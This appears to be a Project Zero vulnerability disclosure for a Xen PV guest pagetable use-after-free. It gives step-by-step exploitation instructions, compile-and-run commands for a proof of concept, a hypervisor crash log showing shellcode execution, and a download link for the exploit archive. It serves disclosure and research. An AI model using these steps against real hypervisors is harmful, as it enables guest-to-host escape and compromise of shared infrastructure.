Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1231
This is a bug in Xen that permits an attacker with control over the
kernel of a 64bit X86 PV guest to write arbitrary entries into a live
top-level pagetable.
To prevent PV guests from doing things like mapping live pagetables as
writable, Xen assigns types to physical pages and tracks type-specific
references with a reference counter ("type count", stored in the low
bits of page->u.inuse.type_info).
64-bit PV guests have multiple places in which the addresses of
top-level pagetables are stored:
arch.guest_table_user and arch.guest_table in the vcpu struct point to
the pagetables the guest has designated as user-mode top-level
pagetable and kernel-mode top-level pagetable. Both of these fields
take a type-specific reference on the pagetable to prevent the guest
from mapping it as writable.
arch.cr3 in the vcpu struct points to the current top-level pagetable
of the vCPU. While the vCPU is scheduled, arch.cr3 is the same as the
physical CPU's CR3.
arch.cr3 does not take an extra type-specific reference; it borrows
the reference from either arch.guest_table_user or arch.guest_table.
This means that whenever the field from which the reference is
borrowed is updated, arch.cr3 (together with the physical CR3) must be
updated as well.
The guest can update arch.guest_table_user and arch.guest_table using
__HYPERVISOR_mmuext_op with commands
MMUEXT_NEW_USER_BASEPTR (for arch.guest_table_user) and
MMUEXT_NEW_BASEPTR (for arch.guest_table). The handlers for these
commands assume that when the hypercall is executed, arch.cr3 always
equals arch.guest_table: The MMUEXT_NEW_BASEPTR handler updates
arch.cr3 to the new arch.guest_table, the MMUEXT_NEW_USER_BASEPTR
handler doesn't touch arch.cr3.
Hypercalls can only be executed from kernel context, so on hypercall
entry, arch.cr3==arch.guest_table is indeed true. However, using the
__HYPERVISOR_multicall hypercall, it is possible to execute the
__HYPERVISOR_iret hypercall, which can switch the pagetables to user
context, immediately followed by the __HYPERVISOR_mmuext_op hypercall
before actually entering guest user context.
This can be exploited from guest kernel context roughly as follows:
- copy all entries from the top-level kernel pagetable over the
top-level user pagetable (to make it possible for a post-iret
hypercall to access guest kernel memory)
- allocate a new page to be used later as top-level user pagetable,
copy the contents of the current top-level user pagetable into it,
remap it as readonly and pin it as a top-level pagetable
- perform the following operations in a single multicall:
- switch to user context using __HYPERVISOR_iret
- change arch.guest_table_user to the new top-level user pagetable
using __HYPERVISOR_mmuext_op with command MMUEXT_NEW_USER_BASEPTR
- unpin the old top-level user pagetable
- map the old top-level user pagetable as writable
- write crafted entries into the old top-level user pagetable
I have attached a proof of concept that corrupts the top-level
pagetable entry that maps the hypervisor text, causing a host
triplefault. I have tested the proof of concept in the following
configurations:
configuration 1:
running inside VMware Workstation
Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"
dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu
unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu
configuration 2:
running on a physical machine with Qubes OS 3.2 installed
Xen version 4.6.4
Compile the PoC with ./compile.sh, then run ./attack as root.
PoC Filename: xen_ptuaf.tar
################################################################################
Here's an exploit that causes the hypervisor to execute shellcode that then deliberately causes a hypervisor GPF by calling a noncanonical address. Usage:
root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./compile.sh
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
LD /root/xen_ptuaf_hv_shellcode_exec/built-in.o
CC [M] /root/xen_ptuaf_hv_shellcode_exec/module.o
nasm -f elf64 -o /root/xen_ptuaf_hv_shellcode_exec/native.o /root/xen_ptuaf_hv_shellcode_exec/native.asm
LD [M] /root/xen_ptuaf_hv_shellcode_exec/test.o
Building modules, stage 2.
MODPOST 1 modules
WARNING: could not find /root/xen_ptuaf_hv_shellcode_exec/.native.o.cmd for /root/xen_ptuaf_hv_shellcode_exec/native.o
CC /root/xen_ptuaf_hv_shellcode_exec/test.mod.o
LD [M] /root/xen_ptuaf_hv_shellcode_exec/test.ko
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./attack
kernel CR3: 0xaa2dd000
L1 self-mapping is up, should have reliable pagetable control now
virt_to_pte(0x7f5bd439a000)
[ rest of output missing because of VM crash ]
Serial output:
(XEN) ----[ Xen-4.6.0 x86_64 debug=n Tainted: C ]----
(XEN) CPU: 2
(XEN) RIP: e008:[<00007f5bd439a03f>] 00007f5bd439a03f
(XEN) RFLAGS: 0000000000010246 CONTEXT: hypervisor (d1v2)
(XEN) rax: 1337133713371337 rbx: 1337133713371337 rcx: 1337133713371337
(XEN) rdx: 1337133713371337 rsi: 00007ffe98b5e248 rdi: 0000600000003850
(XEN) rbp: 1337133713371337 rsp: ffff8301abb37f30 r8: 0000000000000000
(XEN) r9: 000000000000001b r10: 0000000000000000 r11: 0000000000000202
(XEN) r12: 0000000080000000 r13: ffff8800026dd000 r14: ffff880003453c88
(XEN) r15: 0000000000000007 cr0: 0000000080050033 cr4: 00000000001506a0
(XEN) cr3: 00000000aa2dc000 cr2: ffff88007cfb2e98
(XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: 0000 cs: e008
(XEN) Xen stack trace from rsp=ffff8301abb37f30:
(XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN) 1337133713371337 0000000000401556 000000000000e033 0000000000000246
(XEN) 00007ffe98b5e208 000000000000e02b 0000000000000000 0000000000000000
(XEN) 0000000000000000 0000000000000000 0000000000000002 ffff830088c9c000
(XEN) 000000312b835580 0000000000000000
(XEN) Xen call trace:
(XEN) [<00007f5bd439a03f>] 00007f5bd439a03f
(XEN)
(XEN)
(XEN) ****************************************
(XEN) Panic on CPU 2:
(XEN) GENERAL PROTECTION FAULT
(XEN) [error_code=0000]
(XEN) ****************************************
(XEN)
(XEN) Reboot in five seconds...
PoC Filename: xen_ptuaf_hv_shellcode_exec.tar
Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41973.zip